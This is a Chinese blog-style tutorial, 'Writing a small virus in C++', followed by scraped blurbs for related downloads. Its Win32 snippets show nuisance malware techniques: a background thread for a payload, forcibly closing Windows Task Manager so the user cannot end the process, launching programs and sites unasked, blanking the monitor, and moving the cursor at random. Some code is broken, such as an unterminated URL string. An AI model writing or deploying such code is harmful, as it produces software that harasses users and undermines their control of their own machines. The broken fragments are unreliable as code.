`

C++写小型病毒 -_-

 
阅读更多


1. 建立线程运行其他可执行文件

2.关闭任务管理器或者其他窗口

3.ShellExecute的用法

4.打开关闭显示器

5.使鼠标乱跑

1. 建立一个线程 ( CreateThread() )

DWORD WINAPI DestroyWindows(LPVOID)

{

//your code would go here

}

int main()

{

CreateThread(
NULL,0,(LPTHREAD_START_ROUTINE)&DestroyWindows,0,0,NULL);

while(1)

{

Sleep(10);

}

}

2. 关闭任务管理器或者其他窗口

TaskMgr=FindWindow(NULL,"Windows Task Manager");

if( TaskMgr!=NULL)

{

PostMessage( TaskMgr
,WM_CLOSE,(LPARAM)0,(WPARAM)0);

}

程序发出关闭任务管理器的的消息,并不等待继续执行下面的代码

3. ShellExcute

char Notepad[MAX_PATH]="notepad.exe";

ShellExecute(
NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE);

打开记事本。也可以通过以下代码打开google.

char Website[MAX_PATH]="http:\\www.google.com

4. 打开关闭显示器

SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,(LPARAM)2);

Sleep(5000);

SendMessage(HWND_BROADCAST
,WM_SYSCOMMAND,SC_MONITORPOWER,(LPARAM)-1);

5. 鼠标乱跑

X=rand()%801;

Y
=rand()%601;

SetCursorPos( X
,Y );
分享到:
评论

相关推荐

    ncc.rar_NCC_ncc c++_流量 分析_网络流量

    标题中的“ncc.rar_NCC_ncc c++_流量 分析_网络流量”指的是一个名为“ncc”的网络流量分析工具,它是由C++编程语言编写的。这个工具主要用于监测和解析网络数据流,帮助用户了解网络上的数据传输情况。 在描述中...

    黑客C++计算机破坏

    【标题】"黑客C++计算机破坏"涉及到的关键知识点主要集中在恶意软件编程、C++语言基础、注册表操作以及计算机安全方面。以下是对这些知识点的详细解释: 1. **C++编程**:C++是一种强大的面向对象编程语言,常用于...

    DrDeng.zip_Visual_C++_

    "DrDeng.zip_Visual_C++_"这个标题暗示了一个基于Visual C++编程语言开发的项目,很可能是一个小型的游戏应用,旨在教育人们了解巴西常见疾病——登革热。Visual C++是一种强大的集成开发环境(IDE),它由微软公司...

    Simple-Virus:简单的病毒! 我对您的使用方式概不负责! 仅用于教育目的

    病毒开发者可能会利用C++的特性来创建小型、快速并且难以检测的程序。 在【压缩包子文件的文件名称列表】中,“Simple-Virus-master”可能是项目源代码的主目录,通常包含项目的源代码文件、构建脚本、说明文档等...

    mp3小型播放器.e.rar

    【标题】"mp3小型播放器.e.rar"指的是一个压缩文件,其主要包含了一个或多个与mp3小型播放器相关的组件或数据。rar是一种常见的压缩文件格式,它用于将多个文件打包成一个单一的文件,便于存储、传输和分发。 ...

    VC++ 2010安装包-hq.zip

    该版本面向初学者和小型开发团队,提供免费下载,是开发者学习C++编程的重要工具。 **安装教程的重要性:** 安装教程对于初次接触VC++ 2010的用户来说至关重要,因为它可以指导用户避免安装过程中可能出现的问题,...

    北京匡恩网络科技有限责任公司笔试题_嵌入式-常用知识&面试题库_大厂面试真题.rar

    微控制器集成了CPU、内存、外设接口,常用于小型设备。了解不同类型的处理器架构(如ARM、MIPS、x86)以及它们的性能特点、功耗和适用场景至关重要。 三、操作系统 嵌入式系统中常用的操作系统有RTOS(实时操作系统...

    jincheng.rar_进程查看

    这个工具可能是一个小型的实用程序,旨在帮助用户了解计算机上正在执行哪些进程,以便进行性能监控、调试或者安全检查。在Windows操作系统中,进程是系统资源分配的基本单位,每个应用程序或系统服务都会表现为一个...

    将bat文件转换成exe文件

    - **使用工具**:市场上存在许多免费或付费的转换工具,例如`bat2exe`,这是一个小型的转换器,可以从BAT文件生成EXE文件。操作步骤通常包括选择BAT文件、设置输出选项(如32位或64位、图标等),然后点击转换。 3...

    LiteSQL2014-Release

    1. **轻量级**:由于其小巧的体积和低资源消耗,LiteSQL非常适合小型项目或嵌入式应用。它能够在有限的硬件资源下高效运行,不会对主机系统造成过大负担。 2. **跨平台**:作为一个开源项目,LiteSQL支持多种操作...

    文件夹比较软件--可用于比较文件夹在不同时间下作的改变

    这里,数据库选择的是Microsoft Access,它是一个用户友好的关系型数据库,适用于小型到中型企业级应用。通过ODBC,软件可以记录和存储文件夹比较的结果,方便后续查询和分析。 标签中的“辅助病毒查杀”表明,此...

    malware-links-parser.zip_单片机开发_C#_

    单片机(Microcontroller)是一种集成了CPU、内存、输入/输出接口等组件的小型计算机芯片。它们广泛应用于各种嵌入式系统,如家电、汽车电子、医疗设备和工业自动化等。在单片机开发中,程序员需要了解硬件电路设计...

    计算机二级考试-全部选择题-答案及解答.docx

    * 计算机语言:如Java、C++、Python等。 计算机网络 * 局域网(LAN):小型的计算机网络,连接多个计算机。 * 广域网(WAN):大型的计算机网络,连接多个局域网。 * 互联网(Internet):全球最大的计算机网络。 ...

    codelite安装

    总的来说,Codelite是一个功能齐全、易于上手的C++ IDE,特别适合初学者和小型项目开发。其与mingw4.8.1的集成使得在Windows平台上开发C++应用变得简单而高效。通过以上步骤,你应该能够成功安装并开始使用Codelite...

    ActiveX控件开发指南

    ActiveX控件是一种在Windows平台上广泛使用的组件技术,它允许开发者创建可嵌入网页或应用程序中的小型软件模块。ActiveX控件是微软对OLE(Object Linking and Embedding)技术的扩展,它使得用户能够在Internet ...

    淘宝免费自动发货-淘小白2.1.5(软件不报毒)

    此软件特别强调“免费”和“安全”,表明它为用户提供无额外成本的服务,并且在安全方面进行了优化,确保不携带病毒,以保护用户的电脑系统和店铺数据。 自动发货是电商运营中的一个重要环节,对于淘宝卖家而言,...

    6460802498156768.小软件.zip

    5. **技术优势**:小型软件通常采用高效的编程语言和技术编写,如C++或Python,这使得它们能在保持小巧的同时提供强大的功能。许多小型软件还支持跨平台运行,如Java或Web应用程序。 6. **更新与维护**:小型软件的...

    2021-2022计算机二级等级考试试题及答案No.117.docx

    17. 小型数据库管理系统:Access属于小型数据库管理系统,而Oracle、SQL Server是大型数据库管理系统。 18. 报表组成部分:报表页脚、报表页眉和主体是报表的组成部分,报表设计器是设计报表的工具,不属于报表本身...

    VC小程序改变文件夹影藏属性

    VC小程序可能指的是使用Microsoft Visual C++开发的小型应用程序。虽然VC是一个强大的编程工具,但恶意开发者也可以利用它来创建恶意软件。因此,如果描述中的"VC小程序"是未经用户许可就改变了文件夹属性,那么这...

    goodClock2.rar_报时

    - 时钟的实现通常涉及到计算机编程,尤其是涉及到时间处理的编程语言,如C++、Java或Python。在Windows环境下,可以调用系统API函数(如GetTickCount或QueryPerformanceCounter)来获取当前时间,然后通过计算和...

Global site tag (gtag.js) - Google Analytics